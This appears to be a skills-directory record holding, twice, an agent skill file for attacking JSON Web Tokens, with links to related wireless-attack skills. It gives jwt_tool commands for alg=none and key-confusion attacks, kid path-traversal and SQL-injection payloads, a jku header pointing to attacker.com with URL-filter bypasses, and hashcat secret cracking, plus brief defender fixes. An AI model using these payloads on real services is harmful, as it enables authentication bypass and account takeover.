[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7987P65YMPFRT2RQ6F6KR6R":3,"skill-same:01M7987P65YMPFRT2RQ6F6KR6R":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":32,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7987P65YMPFRT2RQ6F6KR6R","jwt",null,"JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fjwt\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: jwt\ndescription: JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.\nmetadata:\n  when_to_use: \"jwt json web token bearer signature alg=none kid jwks\"\n  mitre_attack: T1606.001\n  subdomain: authentication\n  upstream_ref: skills\u002F_corpus\u002Fpayloads\u002FJSON Web Token\u002F\n---\n\n# JSON Web Token Attacks\n\nJWTs are signed (`HS256`\u002F`RS256`\u002F`ES256`) or sometimes mis-configured to\naccept `none`. The header carries the alg + optionally `kid`\u002F`jku`\u002F`x5u`\nreferences. Each is a potential exploitation surface.\n\n## 1. Anatomy\n`header.payload.signature` — each base64url. Decode w\u002F `jwt_tool` or\n`jwt-cracker`:\n```bash\njwt_tool eyJhbGc...   # decode + verify + tamper modes\necho \"$JWT\" | cut -d. -f1-2 | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull\n```\n\n## 2. Attack surface\n\n### 2.1 `alg=none` bypass\nSet `{\"alg\":\"none\"}` in header, strip signature, send `header.payload.`:\n```bash\njwt_tool $JWT -X a    # alg=none attack\n```\nWorked on auth0 \u002F pyjwt \u002F many home-rolled libs pre-2017. Still appears\nin legacy systems.\n\n### 2.2 HS256 vs RS256 confusion\nServer uses RS256 (asymmetric) and verifies w\u002F public key. Attacker\nswitches `alg` to `HS256` and signs w\u002F the *public key* (which the server\nwill use as the HMAC secret):\n```bash\n# Get the public key\ncurl -s https:\u002F\u002Ftarget\u002F.well-known\u002Fjwks.json | jq -r '.keys[0]'\n# Or pull from a redirect \u002F unauth \u002Fpubkey endpoint\n\njwt_tool $JWT -X k -pk public.pem   # alg confusion attack\n```\n\n### 2.3 `kid` header injection\n`kid` (key ID) sometimes resolves to a file path or DB key:\n```json\n{\"alg\":\"HS256\",\"kid\":\"..\u002F..\u002F..\u002Fdev\u002Fnull\"}     \u002F\u002F sign with empty content\n{\"alg\":\"HS256\",\"kid\":\"key1' UNION SELECT 'mykey\"}  \u002F\u002F SQLi in kid lookup\n```\n`jwt_tool -X i -I -hc kid -hv path` chains kid injection variants.\n\n### 2.4 `jku` \u002F `x5u` URL injection\n`jku` (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,\nattacker hosts their own:\n```json\n{\"alg\":\"RS256\",\"jku\":\"https:\u002F\u002Fattacker.com\u002Fjwks.json\"}\n```\nThen `https:\u002F\u002Fattacker.com\u002Fjwks.json` returns attacker's public key,\nsigned JWT is \"valid\".\n\nBypass URL filters via:\n- subdomain confusion (`https:\u002F\u002Ftarget.com.attacker.com\u002Fjwks.json`)\n- userinfo (`https:\u002F\u002Fattacker.com@target.com\u002Fjwks.json`)\n- redirect chains via target's open-redirect\n\n### 2.5 Weak HMAC secret\nHS256 with weak secret crackable offline:\n```bash\nhashcat -m 16500 jwt.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\njohn --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt\n```\nHashcat mode 16500 = JWT. Service-account secrets often `dev`\u002F`secret`\u002F\n`changeme`\u002Fcompany-name patterns.\n\n### 2.6 Signature stripping (Express.js \u002F older Go libs)\nSome libraries verify only IF a signature is present. Strip it:\n```\nheader.payload.    ← trailing dot, no sig\n```\n\n### 2.7 Embedded `jwk` header\n`jwk` in header (vs `jku` pointer) — attacker embeds their own pub key:\n```json\n{\"alg\":\"RS256\",\"jwk\":{\"kty\":\"RSA\",\"n\":\"\u003Cattacker_pub>\",\"e\":\"AQAB\"}}\n```\nOld node-jsonwebtoken accepted this.\n\n## 3. Detection in recon\n\nJWT presence signals:\n- `Authorization: Bearer eyJ...` headers\n- `access_token=eyJ...` \u002F `id_token=eyJ...` URL params or cookies\n- `.well-known\u002Fjwks.json` endpoint exposed\n- `.well-known\u002Fopenid-configuration` discovery doc\n\n## 4. PoC pattern (Burp + jwt_tool)\n1. Capture authenticated request\n2. `jwt_tool \u003CJWT> -M at -t \u003Ctarget_url>` — runs **a**ll **t**ests (alg=none, alg confusion, signature strip, weak HMAC dictionary)\n3. For positive results, replay manually via Burp Repeater to confirm\n4. Document the modified JWT + decoded admin claims as PoC\n\n## 5. Severity calibration\n\n| Bug | Typical severity |\n|---|---|\n| `alg=none` accepted on user → admin claim swap | Critical 9.8 |\n| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |\n| `jku` to attacker URL accepted | Critical 9.8 |\n| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |\n| `kid` SQLi → DB enumeration | High 8.0 |\n| Signature stripping accepted | Critical 9.8 |\n\n## 6. Defender remediation\n\n```javascript\n\u002F\u002F Node: jsonwebtoken\njwt.verify(token, publicKey, {\n    algorithms: ['RS256'],      \u002F\u002F EXPLICIT — never accept \"none\" or HS256 here\n    audience: 'api:\u002F\u002Fmy-service',\n    issuer: 'https:\u002F\u002Fauth.mycorp.com',\n});\n\n\u002F\u002F Python: PyJWT 2.0+\njwt.decode(token, public_key, algorithms=['RS256'])  \u002F\u002F explicit algorithm\n\n\u002F\u002F Validate kid \u002F jku come from a known-good fixed set, NEVER user-controlled lookup\n```\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FJSON Web Token\u002F`\n- jwt_tool: https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool\n\n## Known exemplars\n- Auth0 alg=none (2015) — historical CVE-2015-2951 era\n- Multiple Github bounty $5-15k for HS256\u002FRS256 confusion in 2018-2021\n- Atlassian 2022: JWT validation bypass in JIRA cloud → admin\n- Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host\n","# JSON Web Token Attacks\n\nJWTs are signed (`HS256`\u002F`RS256`\u002F`ES256`) or sometimes mis-configured to\naccept `none`. The header carries the alg + optionally `kid`\u002F`jku`\u002F`x5u`\nreferences. Each is a potential exploitation surface.\n\n## 1. Anatomy\n`header.payload.signature` — each base64url. Decode w\u002F `jwt_tool` or\n`jwt-cracker`:\n```bash\njwt_tool eyJhbGc...   # decode + verify + tamper modes\necho \"$JWT\" | cut -d. -f1-2 | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull\n```\n\n## 2. Attack surface\n\n### 2.1 `alg=none` bypass\nSet `{\"alg\":\"none\"}` in header, strip signature, send `header.payload.`:\n```bash\njwt_tool $JWT -X a    # alg=none attack\n```\nWorked on auth0 \u002F pyjwt \u002F many home-rolled libs pre-2017. Still appears\nin legacy systems.\n\n### 2.2 HS256 vs RS256 confusion\nServer uses RS256 (asymmetric) and verifies w\u002F public key. Attacker\nswitches `alg` to `HS256` and signs w\u002F the *public key* (which the server\nwill use as the HMAC secret):\n```bash\n# Get the public key\ncurl -s https:\u002F\u002Ftarget\u002F.well-known\u002Fjwks.json | jq -r '.keys[0]'\n# Or pull from a redirect \u002F unauth \u002Fpubkey endpoint\n\njwt_tool $JWT -X k -pk public.pem   # alg confusion attack\n```\n\n### 2.3 `kid` header injection\n`kid` (key ID) sometimes resolves to a file path or DB key:\n```json\n{\"alg\":\"HS256\",\"kid\":\"..\u002F..\u002F..\u002Fdev\u002Fnull\"}     \u002F\u002F sign with empty content\n{\"alg\":\"HS256\",\"kid\":\"key1' UNION SELECT 'mykey\"}  \u002F\u002F SQLi in kid lookup\n```\n`jwt_tool -X i -I -hc kid -hv path` chains kid injection variants.\n\n### 2.4 `jku` \u002F `x5u` URL injection\n`jku` (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,\nattacker hosts their own:\n```json\n{\"alg\":\"RS256\",\"jku\":\"https:\u002F\u002Fattacker.com\u002Fjwks.json\"}\n```\nThen `https:\u002F\u002Fattacker.com\u002Fjwks.json` returns attacker's public key,\nsigned JWT is \"valid\".\n\nBypass URL filters via:\n- subdomain confusion (`https:\u002F\u002Ftarget.com.attacker.com\u002Fjwks.json`)\n- userinfo (`https:\u002F\u002Fattacker.com@target.com\u002Fjwks.json`)\n- redirect chains via target's open-redirect\n\n### 2.5 Weak HMAC secret\nHS256 with weak secret crackable offline:\n```bash\nhashcat -m 16500 jwt.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\njohn --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt\n```\nHashcat mode 16500 = JWT. Service-account secrets often `dev`\u002F`secret`\u002F\n`changeme`\u002Fcompany-name patterns.\n\n### 2.6 Signature stripping (Express.js \u002F older Go libs)\nSome libraries verify only IF a signature is present. Strip it:\n```\nheader.payload.    ← trailing dot, no sig\n```\n\n### 2.7 Embedded `jwk` header\n`jwk` in header (vs `jku` pointer) — attacker embeds their own pub key:\n```json\n{\"alg\":\"RS256\",\"jwk\":{\"kty\":\"RSA\",\"n\":\"\u003Cattacker_pub>\",\"e\":\"AQAB\"}}\n```\nOld node-jsonwebtoken accepted this.\n\n## 3. Detection in recon\n\nJWT presence signals:\n- `Authorization: Bearer eyJ...` headers\n- `access_token=eyJ...` \u002F `id_token=eyJ...` URL params or cookies\n- `.well-known\u002Fjwks.json` endpoint exposed\n- `.well-known\u002Fopenid-configuration` discovery doc\n\n## 4. PoC pattern (Burp + jwt_tool)\n1. Capture authenticated request\n2. `jwt_tool \u003CJWT> -M at -t \u003Ctarget_url>` — runs **a**ll **t**ests (alg=none, alg confusion, signature strip, weak HMAC dictionary)\n3. For positive results, replay manually via Burp Repeater to confirm\n4. Document the modified JWT + decoded admin claims as PoC\n\n## 5. Severity calibration\n\n| Bug | Typical severity |\n|---|---|\n| `alg=none` accepted on user → admin claim swap | Critical 9.8 |\n| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |\n| `jku` to attacker URL accepted | Critical 9.8 |\n| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |\n| `kid` SQLi → DB enumeration | High 8.0 |\n| Signature stripping accepted | Critical 9.8 |\n\n## 6. Defender remediation\n\n```javascript\n\u002F\u002F Node: jsonwebtoken\njwt.verify(token, publicKey, {\n    algorithms: ['RS256'],      \u002F\u002F EXPLICIT — never accept \"none\" or HS256 here\n    audience: 'api:\u002F\u002Fmy-service',\n    issuer: 'https:\u002F\u002Fauth.mycorp.com',\n});\n\n\u002F\u002F Python: PyJWT 2.0+\njwt.decode(token, public_key, algorithms=['RS256'])  \u002F\u002F explicit algorithm\n\n\u002F\u002F Validate kid \u002F jku come from a known-good fixed set, NEVER user-controlled lookup\n```\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FJSON Web Token\u002F`\n- jwt_tool: https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool\n\n## Known exemplars\n- Auth0 alg=none (2015) — historical CVE-2015-2951 era\n- Multiple Github bounty $5-15k for HS256\u002FRS256 confusion in 2018-2021\n- Atlassian 2022: JWT validation bypass in JIRA cloud → admin\n- Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27,"upstream_ref":28},"authentication","jwt json web token bearer signature alg=none kid jwks","T1606.001","skills\u002F_corpus\u002Fpayloads\u002FJSON Web Token\u002F","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fjwt",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill jwt",{"tool":42,"command":43},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill jwt",{"tool":45,"command":46},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill jwt","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fjwt\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]